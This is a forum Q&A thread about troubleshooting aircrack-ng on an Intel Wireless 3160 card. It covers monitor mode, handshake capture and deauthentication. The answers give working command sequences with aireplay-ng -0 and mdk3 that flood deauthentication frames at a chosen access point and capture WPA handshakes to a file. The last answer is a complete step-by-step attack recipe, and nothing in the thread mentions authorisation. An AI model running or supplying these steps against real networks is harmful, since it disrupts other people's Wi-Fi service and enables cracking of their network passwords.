Hello I recently started playing with aircrack-ng and I have few questions.

  1. When I'm starting with the whole process insted of turning on the monitor mode I do the opposite airmon-ng stop wlan0 and listen with airodump-ng wlan0. I do this because when I'm listening using airodump-ng mon0 (after i airmon-ng start wlan0 of course) I can't get a handshake, and with wlan0 I can. Is this normal or am I missing something?
  2. I read on their website that there are some wireless cards that can only listen to packets, and can't inject them. I can't seem to deauth a user on some network so I'm wondering if it's a problem with my card or am I doing something wrong? I tried to deauth on a few different ways:
    • aireplay-ng -0 0 -a *BSSID* wlan0
    • aireplay-ng -0 0 -a *BSSID* -c *DMAC* wlan0
    • mdk3 wlan0 b -n *DMAC*

Also when I run aireplay-ng -9 wlan0 I get 0/30 successful packets injected on every AP.

I can't seem to determ if my card is capable of injecting packets. The command lspci -nn | grep 0280 gives me 02:00.0 Network controller [0280]: Intel Corporation Wireless 3160 [8086:08b4] (rev 93)

3 Answers 3


Okay friend, here's some notes:

As for the handshake problem, from experience, it might be the following:

  • You're not close enough to the router, there is a chance that you'll not capture the handshake if the client is too close to the AP and the monitor mode device is relatively far.
  • A hardware issue, your network device is old and not compatible, so it can't capture packets from another protocols. For example if your device running 802.11g and the network is 802.11n

Solution: First, try to capture the handshake from different physical positions, if it doesn't work, try another WiFi device.


Some answer said to kill processes that interfere with airmon-ng. Don't use the
command airmon-ng check kill because you'll stop the network-manager application.

Don't use the previous command to fix the fixed channel -1 error, instead, use the following commands when starting monitor mode:

  • airmon-ng start wlan0
  • ifconfig wlan0mon down
  • iwconfig wlan0mon mode monitor
  • ifconfig wlan0mon up

Make sure you are running airmon-ng check kill prior to switching into monitor mode to kill any procs that may interfere with monitoring. Also in your deauth attempts, try:

aireplay-ng -0 25 -a {BSSID} -c {ClientMAC} {interface}

This tutorial has a pretty good explanation of how to perform the attack you're after.

Refer to this to see if your card is compatible with aireplay-ng.


I have a simple method to doing what you are attempting. Instead of using aireplay-ng and airmon-ng, the following will remove the initial problems (or should).

1.) iw
2.) mdk3

Though I see that you mentioned mdk3, the deauth attack should work with the following method of mine.


ifconfig wlan0 down

...and then,

iw wlan0 interface add mon0 type monitor

...and then,

# Just to make sure mon0 is up.
ifconfig mon0 up

...and then,

airodump-ng mon0

...find the access point you wish to deauth and then,

# Stop airodump-ng
crtl + c

# start airodump-ng on target AP.
airodump-ng mon0 --bssid (MAC here) --channel (AP channel here) --write /path/to/capfiles.pcap

...once airodump-ng is running and capturing on the target AP, then run,

# Deauth attack.
mdk3 mon0 d -s 100 -c (AP channel here)

For the deauth attack, you can also include a white/blacklist of APs that you wish to ignore. You will need to have two terminals up for this simple method. You should only have to wait a short time before any connected clients to teh AP are deauth'd. Keep in mind though, if there are no connected devices on the AP, you won't be able to capture any handshakes. Handshakes are made when a device is authenticating to the AP.

When you have the handshake, crtl + c to stop mdk3 and airodump-ng. The cap file will be saved in the directory you specified in the airodump-ng "--write" option.

To remove the mon0 interface run the following command:

# Remove mon0
iw mon0 del

And you are done.

If you still have trouble, feel free to contact me on facebook: Yokai Seishinkage.

(edit) Take note that this completely removes the dependence on using airmon-ng which also removes service conflicts. But it will still be best to use this method with wlan0 down to avoid any issues. So far, it works flawlessly for me.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .